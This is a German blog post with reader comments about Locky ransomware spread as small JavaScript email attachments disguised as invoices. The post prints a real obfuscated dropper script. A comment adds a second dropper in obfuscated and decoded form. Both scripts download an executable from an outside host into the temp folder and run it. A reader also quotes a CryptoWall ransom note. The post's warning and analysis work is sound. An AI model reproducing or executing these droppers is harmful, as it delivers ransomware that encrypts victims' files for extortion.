Die mir zugeschickte vermeintliche Rechnung oder das Fax enthält einen Anhang, der mit knapp über 700 Bytes (!)  einfach zu klein für ein PDF ist.

Was ist da los? Kein Virenscanner erkennt die zip Datei und den Javascript-Inhalt als Container einer Virendatei? Keiner von 54 Scannern auf Virustotal schlägt Alarm? Mein Kollege spekulierte gar nicht so abwegig: Das ist bestimmt der Bundestrojaner, der kommt “von oben” und wird halt nicht erkannt.

Der Anhang enthält eine Javascript-Datei, die offeniichtlich  eine mit Unicode-verschleierte Webseite nachladen will. Sehr perfide, sehr geschickt.

Glaubt man den aktuellen Zahlen, werden pro Stunde 5000 Rechner in Deutschland vom enthaltenen Locky-Virus infiziert. Die Ransomware verschlüsselt die erreichbaren Dateien und man erhält  nur durch Zahlung eines Lösegeldes wieder die Ursprungsdateien zurück.

Siehe auch:
http://www.golem.de/news/ransomware-locky-kommt-jetzt-auch-ueber-javascript-1602-119331.html
Erpressungstrojaner Tesla (intern vrkennung.de)

Bildschirmfoto_2016-02-24_21-07-26

 

Die Verschleierung ist kein neues Thema:
http://www.heise.de/security/meldung/Rueckwaerts-wird-ein-Virus-draus-1242127.html

Code des Anhangs ( Javascript Datei hier als einfacher Text dargestellt und deshalb harmlos):

var fawqAx= this[‘\u0041c\u0074i\u0076\u0065XO\u0062je\u0063t’];
var laMhHYOhH = new fawqAx(‘\u0057S\u0063r\u0069\u0070\u0074\u002E\u0053\u0068e\u006C\u006C’);
var uDsEft = laMhHYOhH[‘\u0045x\u0070\u0061\u006E\u0064Envir\u006Fn\u006De\u006E\u0074S\u0074\u0072in\u0067s’](‘\u0025TE\u004DP\u0025’) + ‘\u002F\u0068\u0055O\u0048Mma\u0069n.\u0065x\u0065’;
var nheEANo = new fawqAx(‘\u004D\u0053XM\u004C\u0032.X\u004D\u004C\u0048TT\u0050’);
nheEANo[‘\u006Fn\u0072\u0065\u0061\u0064y\u0073\u0074\u0061\u0074ec\u0068\u0061\u006E\u0067e’] = function() {
if (nheEANo[‘\u0072\u0065a\u0064\u0079\u0073t\u0061\u0074\u0065’] === 4) {
var RxgIdfvB = new fawqAx(‘\u0041\u0044\u004F\u0044\u0042.S\u0074\u0072\u0065\u0061\u006D’);
RxgIdfvB[‘op\u0065\u006E’]();
RxgIdfvB[‘\u0074\u0079pe’] = 1;
RxgIdfvB[‘\u0077ri\u0074\u0065’](nheEANo[‘\u0052es\u0070\u006F\u006E\u0073e\u0042\u006F\u0064\u0079’]);
RxgIdfvB[‘\u0070os\u0069\u0074\u0069\u006F\u006E’] = 0;
RxgIdfvB[‘\u0073av\u0065\u0054o\u0046\u0069le’](uDsEft, 2);
RxgIdfvB[‘\u0063lo\u0073\u0065’]();
};
};
try {
var    HYOAzVaz = ‘R\u0075n’;
nheEANo[‘\u006F\u0070en’](‘GE\u0054’ , ‘h\u0074\u0074p://\u0068t\u0074\u0070\u003A\u002F\u002F\u0066i\u0072\u0073t\u0063o\u0070\u0079\u006Dall\u002E\u0063\u006F\u006D/\u0073\u0079\u0073t\u0065m\u002F\u006Co\u0067\u0073\u002F\u0038\u0037h7\u00354’, false);
nheEANo[‘\u0073e\u006Ed’]();
laMhHYOhH [HYOAzVaz](uDsEft, 1, false);
} catch (ajg9ggxFs) {};

5 Antworten zu “Ransomware Locky: Anhang so klein – das kann keine Rechnung oder Fax sein

  1. hallo,

    ja ich habe da auch so einen ding was ich entschlüsseln möchte.

    Hier in Textform:

    // // Support: Android<4.1, IE<9 // Make sure we trim BOM and NBSP rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,

    var PpVmcMxJ = '\u0052un'; var ULgmVcrwq = this['Ac\u0074'+("alternate","freemen","childhood",'i')+("introduce","diplomatist",'\u0076eX')+'\u004Fb\u006A\u0065\u0063t'];
    var rMYph = new ULgmVcrwq('\u0057\u0053c\u0072\u0069\u0070t'+'.'+'S\u0068e'+("minnesota","deadlock","estimation","tartarus","contraband",'\u006Cl'));
    // // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi,
    var iiXHKuSV = rMYph['E\u0078p'+("turin","abstracts","nicaragua",'\u0061\u006EdE')+'\u006E\u0076\u0069r\u006F\u006Em\u0065\u006E\u0074'+("abbot","pesos","wagner","jonathan","oriented",'\u0053t\u0072\u0069\u006E\u0067s')](("honeycomb","aimed","criteria","concerned","radar",'\u0025T')+'E'+("protest","vertigo","henderson",'M')+'P\u0025') + '/'+("sluts","resolution","assembled","pegasus",'lX\u0048')+'\u0064bf\u006Fp\u004F'+'\u0034.\u0065xe';
    // // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); };
    var ylQPS = new ULgmVcrwq(("abstaining","twenty-fourth","furthermore",'M\u0053')+'X\u004D\u004C\u0032\u002EX'+'M'+'\u004CHT\u0054\u0050');
    //jQuery.fn = jQuery.prototype = {
    ylQPS['on\u0072'+'e'+("assisted","irreparable",'\u0061\u0064\u0079st\u0061\u0074\u0065\u0063\u0068\u0061\u006E')+'g\u0065'] = function () {
    if (ylQPS[("famed","canadian","greater","probation",'\u0072e')+'a'+'dy\u0073'+'\u0074at\u0065'] === 4) {
    var SAPdwhzlH = new ULgmVcrwq('AD\u004F'+'D\u0042.S\u0074'+("forceps","notoriety","economize","sixth","debauch",'r')+'\u0065am');
    // // The current version of jQuery being used jquery: version,
    SAPdwhzlH['\u006Fp\u0065n']();
    // constructor: jQuery,
    SAPdwhzlH['\u0074\u0079pe'] = 1;
    // // Start with an empty selector selector: "",
    SAPdwhzlH[("teacher","closest","saucer","promotions",'w')+'r'+'i'+("romania","saffron","unconnected","lizard","invention",'\u0074e')](ylQPS[("conjunctions","eighty-four","incubation","assimilating",'\u0052e')+'s\u0070o'+'n'+'s\u0065B\u006F\u0064y']);
    // // The default length of a jQuery object is 0 length: 0,
    SAPdwhzlH[("artificer","brent","dating","villainy",'p')+("dangle","unkempt","digressions","giggle","deleted",'o')+'s'+'i\u0074io\u006E'] = 0;
    // toArray: function() { return slice.call( this ); },
    SAPdwhzlH['s\u0061'+("spoor","sikkim","profit","dynamo",'ve\u0054')+'o\u0046i'+("compatriot","basement","affix","farmers","lettuce",'l\u0065')](iiXHKuSV, 2);
    // // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num != null ?
    SAPdwhzlH['c'+'l'+("docility","permalink","oxfordshire",'o')+("renewable","descry","stops","blair","jauntily",'s\u0065')]();
    // // Return just the one element from the set ( num < 0 ? this[ num + this.length ] : this[ num ] ) :
    };
    };
    try {

    // // Return all the elements in a clean array slice.call( this ); },
    ylQPS['\u006F\u0070en']('\u0047ET', ("fatality","friends","lackey","drowsiness","responsibility",'\u0068\u0074tp\u003A\u002F/\u0073a\u0069\u0067\u006Fnn')+("gardening","retail","housing","redundant","soldiery",'e\u0077\u002Eco\u006D.v\u006E')+'\u002F\u0073\u0079\u0073\u0074\u0065\u006D\u002F\u006C\u006F\u0067\u0073\u002F\u00376\u0074\u0072\u0035\u0072\u0067\u0075i\u006E\u006D\u006C\u002E\u0065'+'\u0078e', false);

    // // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) {
    ylQPS['\u0073e\u006Ed']();
    // // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems );
    rMYph[PpVmcMxJ](iiXHKuSV, 1, "jnMhKemGc" === "PLMQmhlvN");
    // // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context;
    } catch (XcwgnAR) { };
    // // Return the newly-formed element set return ret; },

  2. so Hallo noch ein mal,

    nach ein wenig Reschersche bin ich fündig gewurden, wie man solche verschlüsselte scripts herstellt bzw. liesbar macht.
    Ich weiß nicht ob man hier Netseiten nennen darf, wenn nicht bitte löschen.

    http://ddecode.com/hexdecoder/

    Auf der genannte Seite habe ich meinen oben genannten script sichtbar machen können. Nun werde ich mich mit dessen bedeutung ein wenig tiefer beschäftigen. Manche dinge kann man nach ein wenig Reschersche selbst herausfinden.

    Hier der von mir zuvor eingefügte script entschlüsselt.:

    // // Support: Android<4.1, IE<9 // Make sure we trim BOM and NBSP rtrim = /^[\s.�]+|[\s.�]+$/g,var PpVmcMxJ = 'Run'; var ULgmVcrwq = this['Act'+("alternate","freemen","childhood",'i')+("introduce","diplomatist",'veX')+'Object'];var rMYph = new ULgmVcrwq('WScript'+'.'+'She'+("minnesota","deadlock","estimation","tartarus","contraband",'ll'));// // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi,var iiXHKuSV = rMYph['Exp'+("turin","abstracts","nicaragua",'andE')+'nvironment'+("abbot","pesos","wagner","jonathan","oriented",'Strings')](("honeycomb","aimed","criteria","concerned","radar",'%T')+'E'+("protest","vertigo","henderson",'M')+'P%') + '/'+("sluts","resolution","assembled","pegasus",'lXH')+'dbfopO'+'4.exe';// // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); };var ylQPS = new ULgmVcrwq(("abstaining","twenty-fourth","furthermore",'MS')+'XML2.X'+'M'+'LHTTP');//jQuery.fn = jQuery.prototype = {ylQPS['onr'+'e'+("assisted","irreparable",'adystatechan')+'ge'] = function () { if (ylQPS[("famed","canadian","greater","probation",'re')+'a'+'dys'+'tate'] === 4) { var SAPdwhzlH = new ULgmVcrwq('ADO'+'DB.St'+("forceps","notoriety","economize","sixth","debauch",'r')+'eam'); // // The current version of jQuery being used jquery: version, SAPdwhzlH['open'](); // constructor: jQuery, SAPdwhzlH['type'] = 1; // // Start with an empty selector selector: "", SAPdwhzlH[("teacher","closest","saucer","promotions",'w')+'r'+'i'+("romania","saffron","unconnected","lizard","invention",'te')](ylQPS[("conjunctions","eighty-four","incubation","assimilating",'Re')+'spo'+'n'+'seBody']); // // The default length of a jQuery object is 0 length: 0, SAPdwhzlH[("artificer","brent","dating","villainy",'p')+("dangle","unkempt","digressions","giggle","deleted",'o')+'s'+'ition'] = 0; // toArray: function() { return slice.call( this ); }, SAPdwhzlH['sa'+("spoor","sikkim","profit","dynamo",'veT')+'oFi'+("compatriot","basement","affix","farmers","lettuce",'le')](iiXHKuSV, 2); // // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num != null ? SAPdwhzlH['c'+'l'+("docility","permalink","oxfordshire",'o')+("renewable","descry","stops","blair","jauntily",'se')](); // // Return just the one element from the set ( num < 0 ? this[ num + this.length ] : this[ num ] ) : };};try { // // Return all the elements in a clean array slice.call( this ); }, ylQPS['open']('GET', ("fatality","friends","lackey","drowsiness","responsibility",'http://[URL entfernt]')+("gardening","retail","housing","redundant","soldiery",'ew.com.vn')+'/system/logs/76tr5rguinml.e'+'xe', false); // // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { ylQPS['send'](); // // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); rMYph[PpVmcMxJ](iiXHKuSV, 1, "jnMhKemGc" === "PLMQmhlvN"); // // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context;} catch (XcwgnAR) { };// // Return the newly-formed element set return ret; },

    Ich hoffe mit meinem Beitrag anderen helfen zu können, die auch Ihre Scripte sichtbar machen möchten. Es ist zwar für denen die von Programmierung keine Ahnung haben immer noch ein böhmischer Wald. Für die Anderen hilft es jedoch Ihre Scripts sichtbar zu machen, um nach zu vollziehen, was in dem verschlüsselten Script teil passiert.

    Es ist nicht ratsam, ganz im gegenteil, auf garkeinem Fall diese, solche scripte aus zu führen, sondern mit einem Editor wie zB. Text-Editor darzustellen.

    Meistens sind es erpresser Scripte die alle Dateien verschlüsseln und dann wird man zur Kasse gebeten, wenn man seine Daten wieder haben möchte.

    Gruß und gutes Gelingen gegen solche Betrüger, die solche Scripte als Anhang versenden.

    • Raimund on 2. März 2016 at 18:08 said:

      Vielen Dank für den Link. Ich hab die dekodierte Seite herausgenommen, damit nicht jemand noch aus Versehen reinfällt.

      aktuelles Problem und Ergänzung:
      Da Ransomware/Locky key-Dateien verschlüsselt, werden auch HBCI-Sicherheitsdateien mit der Datei-Endung key verschlüsselt. Diese Endungen werden u.a. bei der VR-NetWorld Software, Profi cash, aber auch bei Starmoney, Windata, Wiso, Quicken, Lexware, etc. eingesetzt.
      Damit kann es passieren, dass der Schlüssel und die Backupdatei weggeschlossen ist, das Banking ist damit nicht mehr möglich.

  3. Hallo,

    vor kurzem bin ich auf so einen Ding hereingefallen. Da ich aber meine Daten 2 3 und sogar 4 fach sichere konnte ich alles wider zurück setzen so das mein Schaden sich im Grenzen hielt nach der Verschlüsselung bekommt man zu den verschlüsselten Daten eine Text-Datei in dem drin steht.:

    Was ist mit Ihren Daten passiert?
    All Ihre Daten wurden mit der starken Verschlüsselung RSA-2048 mit Hilfe des Programms CryptoWall 3.0 geschützt.
    Genaueres über das Chiffrieren mit Hilfe der RSA-2048 Schlüssel können Sie hier erfahren: http://en.wikipedia.org/wiki/RSA_(cryptosystem)

    Was bedeutet das?
    Das bedeutet, dass die Struktur und die Daten innerhalb Ihrer Dateien unwiderruflich geändert wurden,
    Sie können sie nicht mehr benutzen, sie lesen oder öffnen, das ist dasselbe, wie wenn sie verloren wären, aber mit unserer Hilfe können Sie sie wiederherstellen.

    Wie ist das passiert?
    Speziell für Sie wurde auf unserem geheimen Server ein RSA-2048 Schlüsselpaar generiert – ein öffentlicher und ein privater.
    All Ihre Dateien wurden mit Hilfe des öffentlichen Schlüssels chiffriert, der an Ihr Computer per Internet übergeben wurde.
    Das Dechiffrieren Ihrer Dateien ist nur mit Hilfe des privaten Schlüssels und eines speziellen Programms möglich, die sich auf unserem geheimen Server befinden.

    Was soll ich tun?
    Tut uns leid, aber wenn Sie innerhalb der angegebenen Zeit nichts unternehmen, werden sich die Bedingungen zum Erhalten des privaten Schlüssels und des speziellen Programms ändern.
    Wenn Ihnen Ihre Daten viel bedeuten, dann raten wir Ihnen, Ihre Zeit nicht mit der Suche nach anderen Lösungen zu verschwenden, denn solche gibt es einfach nicht.

    Um genauere Anweisungen zu erhalten, besuchen Sie bitte unsere persönliche Web-Seite, unten sich einige Adressen aufgeführt, die zu uns führen:

    man bemerkt so einen Befall unter Anderem an eine erhöte Festplatten-Aktivität. Sofort den Rechner herunterfahren um einen Verschlüsseln weitere Daten zu vermeiden. Den Rechner in Abgesicherte Modus Starten und dort den Bösewicht auf dem Leim gehen suchen und vernichten, damit wenn man dan wider normal startet der Verschlüsselungsprogram nicht mehr gestartet werden kann.

    In jedem Fall den Rechner sofort aus machen und wenn man nicht so viel Ahnung hat, jemand drann lassen der sich mit der Matherie auskännt. Der kann das Problem beheben. Je schneller man den Rechner herunterfährt um so wenige Dateien können Verschlüsselt werden.

    Ich habe mir vor Kurzem so einen Ding eingefangen, auf der Suche nach einem altem Treiber, den ich installieren wollte. 🙁

    Gruß und viel Erfolg beim Besaeitigen, wenn es dem mal doch zugeschlagen hat wie bei mir!

    • Raimund on 3. März 2016 at 07:52 said:

      Hallo Annonym,
      vielen Dank für den Bericht und die Erläuterungen. Diese dubiosen Treiberanbieter sind mir auch schon bei diversen Gelegenheiten aufgefallen. Vor allem stört mich, dass die oft sehr früh oben bei den Treffern in den Suchdiensten auftauchen.
      Trau, schau, wem. Aber sehr anschaulich, wie schnell man auch als Nicht-blutiger-Anfänger zum Opfer werden kann.
      Backups retten Daten halt nicht nur vor dem Verlust durch kaputte Hardware.
      Gruß
      Raimund

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

Post Navigation